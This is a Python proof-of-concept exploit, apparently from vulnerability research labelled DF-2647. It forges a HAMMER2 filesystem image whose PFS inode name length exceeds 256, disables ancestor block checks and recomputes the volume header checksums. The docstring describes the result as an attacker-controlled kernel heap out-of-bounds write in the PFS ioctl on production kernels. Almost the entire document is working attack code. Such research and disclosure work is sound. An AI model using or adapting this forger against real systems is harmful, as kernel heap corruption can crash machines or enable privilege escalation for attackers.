DF-2647 / forge_df2647.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | #!/usr/bin/env python3 """ DF-2647 PoC image forger. Takes the mkbase2647.sh base image (volume label "testvol", extra PFS "zz_pwn") and forges the on-media meta.name_len (uint16 at inode+0x80) of the "zz_pwn" PFS inode to LEN (>= 256). The kernel's hammer2_ioctl_pfs_get() (hammer2_ioctl.c:494-496) only guards this length with a KKASSERT (INVARIANTS builds only): KKASSERT(ripdata->meta.name_len < sizeof(pfs->name)); // 256 bcopy(ripdata->filename, pfs->name, ripdata->meta.name_len); pfs->name[ripdata->meta.name_len] = 0; pfs (hammer2_ioc_pfs, 320 bytes) lives in a kmalloc'd M_IOCTLOPS buffer (sys/kern/sys_generic.c:674-676), so on non-INVARIANTS (production) kernels this is a kernel heap OOB WRITE of (LEN - 256) bytes with attacker-controlled content past the end of pfs->name[]. The bcopy SOURCE is inode+0x100 (filename[256]) -- as long as (inode_off & 0xFFFF) + 0x100 + LEN <= 0x10000 the read stays inside the 64KB DIO window, i.e. the ENTIRE smear content is attacker media. We stamp the source region with the 8-byte marker "DF2647!!" while keeping the leading original name + NUL (mount-time kstrdup/strcmp of pfs_names needs an embedded NUL, vfsops.c:406/495). Ancestor blockrefs on the path are set to methods=0x00 (CHECK_NONE, testcheck returns 1 -- hammer2_chain.c:5531-5536, DF-2616's proven technique) so no check recomputation is needed; only the three volume header CRC32Cs are recomputed. usage: forge_df2647.py <base.img> <out.img> <len-hex> [pfsname] """ import struct, sys # ---------------- CRC32C (matches sys/libkern/icrc32.c) -------------------- def _mk(): poly = 0x82F63B78 t = [] for n in range(256): c = n for _ in range(8): c = (c >> 1) ^ poly if (c & 1) else (c >> 1) t.append(c) return t _T = _mk() def iscsi_crc32(data): crc = 0xFFFFFFFF for b in data: crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF assert iscsi_crc32(b"123456789") == 0xE3069283 RADIX_MASK = 0x3F INODE_DATA_BLOCKSET = 0x200 BREF = 128 T_INODE, T_INDIRECT = 1, 2 STAMP = b"DF2647!!" def bref_parse(buf, off): t, methods = struct.unpack_from('<2B', buf, off) key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8) return dict(type=t, methods=methods, key=key, data_off=doff, off=off) def recompute_volhdr_crcs(buf): c1 = iscsi_crc32(bytes(buf[512:1024])) struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1) c0 = iscsi_crc32(bytes(buf[0:508])) struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0) cv = iscsi_crc32(bytes(buf[0:0xFFFC])) struct.pack_into('<I', buf, 0xFFFC, cv) def main(): if len(sys.argv) < 4: print("usage: forge_df2647.py <base.img> <out.img> <len-hex> [pfsname]") sys.exit(2) base, out, lens = sys.argv[1:4] target = sys.argv[4].encode() if len(sys.argv) > 4 else b"zz_pwn" ln = int(lens, 16) assert 256 <= ln <= 0xFFFF img = bytearray(open(base, 'rb').read()) volhdr = img[0:0x10000] assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011 nocheck = set() found = [] def scan_dir(blk, desc, depth): """walk sroot blockset + indirects; children are PFS inodes""" for i in range(4): boff = blk + INODE_DATA_BLOCKSET + i * BREF br = bref_parse(img, boff) if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): handle(br, desc + [(blk, boff)]) elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK): scan_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, desc + [(blk, boff)]) return def scan_indirect(blk, radix, desc): nslots = min((1 << radix) // BREF, 1024) for i in range(nslots): boff = blk + i * BREF br = bref_parse(img, boff) if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): handle(br, desc + [(blk, boff)]) elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK): scan_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, desc + [(blk, boff)]) def handle(br, desc): ioff = br['data_off'] & ~RADIX_MASK name = bytes(img[ioff + 0x100:ioff + 0x100 + 32]).split(b'\0')[0] nl = struct.unpack_from('<H', img, ioff + 0x80)[0] found.append((name, ioff, nl, desc)) for (blk, b) in desc: nocheck.add(b) sroot0 = None for i in range(4): br = bref_parse(volhdr, 0x200 + i * BREF) if br['data_off']: sroot0 = br break sroot_blk = sroot0['data_off'] & ~RADIX_MASK print("[walk] sroot bref @%#x -> blk @%#x" % (sroot0['off'], sroot_blk)) scan_dir(sroot_blk, [(0, sroot0['off'])], 0) tgt = None for (name, ioff, nl, desc) in found: print("[walk] PFS inode @%#x name=%r name_len=%d" % (ioff, name, nl)) if name == target: tgt = (ioff, desc) assert tgt, "target PFS %r not found" % target ioff, desc = tgt # ---- forge --------------------------------------------------------- out_img = bytearray(img) # 1. keep name + NUL in the first bytes (mount scan needs termination) orig_name = bytes(img[ioff + 0x100:ioff + 0x100 + 16]).split(b'\0')[0] assert orig_name == target keep = len(orig_name) + 1 # 2. stamp the smear source (filename[256] onward through the inode's # 64KB window) with DF2647!! markers. The stamp must stop at the # next real metadata block in the same window (the sroot inode # block, shared with the PFS inode here) or mount-time walkers read # stamp ASCII as blockrefs ("type 70" == 'F'). win_end = (ioff & ~0xFFFF) + 0x10000 src_lo = ioff + 0x100 src_hi = min(ioff + 0x100 + ln, win_end) meta_bounds = sorted({sroot_blk} | {o for (n, o, l, d) in found if o != ioff}) for mb in meta_bounds: if mb > ioff: src_hi = min(src_hi, mb) for a in range(src_lo + keep, src_hi, 8): out_img[a:a + 8] = STAMP # 3. the hostile length itself struct.pack_into('<H', out_img, ioff + 0x80, ln) # 4. CHECK_NONE on all ancestor brefs incl. the volhdr sroot bref for b in nocheck: if b >= 0x10000: struct.pack_into('<B', out_img, b + 0x01, 0x00) struct.pack_into('<B', out_img, sroot0['off'] + 0x01, 0x00) recompute_volhdr_crcs(out_img) open(out, 'wb').write(out_img) over = ln - 256 print("[+] forged %s: name_len=%#x inode@%#x" % (out, ln, ioff)) print("[+] smear: %d bytes past pfs->name[256] (=%d past the 320B " "request, %d past the 512B zone block)" % (over, 64 + ln - 320, max(0, 64 + ln - 512))) print("[+] read stays in 64KB window: %s (src_hi=%#x win_end=%#x)" % (src_hi <= win_end, src_hi, win_end)) if __name__ == '__main__': main() |